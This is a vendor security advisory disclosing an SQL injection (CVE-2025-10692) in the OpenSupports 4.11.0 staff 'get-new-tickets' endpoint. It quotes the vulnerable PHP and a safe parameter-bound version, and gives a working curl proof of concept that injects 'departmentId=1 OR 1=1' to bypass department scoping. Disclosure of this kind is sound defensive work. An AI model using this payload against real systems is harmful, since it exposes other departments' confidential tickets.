OpenSupports 4.11.0 — SQL Injection

7.1

High

7.1

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

OpenSupports 4.11.0 — SQL Injection in staff “get-new-tickets” endpoint

Code name

State

Public

Release date

Oct 3, 2025

Affected product

OpenSupports

Vendor

OpenSupports

Affected version(s)

4.11.0

Vulnerability name

SQL Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

7.1

Exploit available

Yes

Description

The endpoint POST /api/staff/get-new-tickets concatenates the user-controlled parameter departmentId directly into the SQL WHERE clause without parameter binding. As a result, an authenticated staff user (level ≥ 1) can inject SQL to alter the filter logic (e.g., tautologies or time-based primitives), effectively bypassing department scoping and disclosing tickets beyond their intended access.

Vulnerability

Relevant backend fragments:

  • Vulnerable concatenation (server/controllers/staff/get-new-tickets.php):

$departmentId = Controller::request('departmentId');
...
if($departmentId) {
    $query .= ' AND department_id=' . $departmentId; // <-- injection
}
$countTotal = Ticket::count($query);
$query .= ' ORDER BY unread_staff DESC';
$query .= ' LIMIT ' . $pageSize . ' OFFSET ' . ($page-1)*10;
$ticketList = Ticket::find($query);
  • Secure pattern for comparison (server/controllers/staff/get-tickets.php):

$condition = 'TRUE';
$bindings = [];
if($departmentId) { $condition .= ' AND department_id = ?'; $bindings[] = $departmentId; }
$countTotal = $user->withCondition($condition, $bindings)->countShared('ticket');
...
  • Confidentiality breach: a low-privileged staff user can list “new tickets” across all departments by injecting into the department filter, gaining visibility into titles, content excerpts, and metadata.

  • Scope escalation: bypass of authorization-by-filter (department-based access control) in the “new tickets” view.

PoC

  • Log in as a staff user (level 1) and extract CSRF:

curl -c s.cookies -sS -X POST 'http://localhost:5543/api/user/login' \
  -d 'staff=1' -d 'email=staff2@yopmail.com' -d 'password=Test1234@' | tee s_login.json
export U_ID=$(jq -r '.data.userId' s_login.json)
export TOK=$(jq -r '.data.token' s_login.json)
  • Baseline request (no injection):

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' | jq '.'
  • Tautology injection — expand scope to all departments:

curl -b s.cookies -sS -X POST 'http://localhost:5543/api/staff/get-new-tickets' \
  -d "csrf_userid=$U_ID" -d "csrf_token=$TOK" -d 'page=1' -d 'pageSize=10' \
  -d 'departmentId=1 OR 1=1' | jq '.'

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-10692 to refer to this issue from now on.

Disclosure policy

System Information

  • OpenSupports

  • Version 4.11.0

  • Operating System: Any

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

Sep 8, 2025

Vulnerability discovered

Sep 18, 2025

Vendor contacted

Oct 3, 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.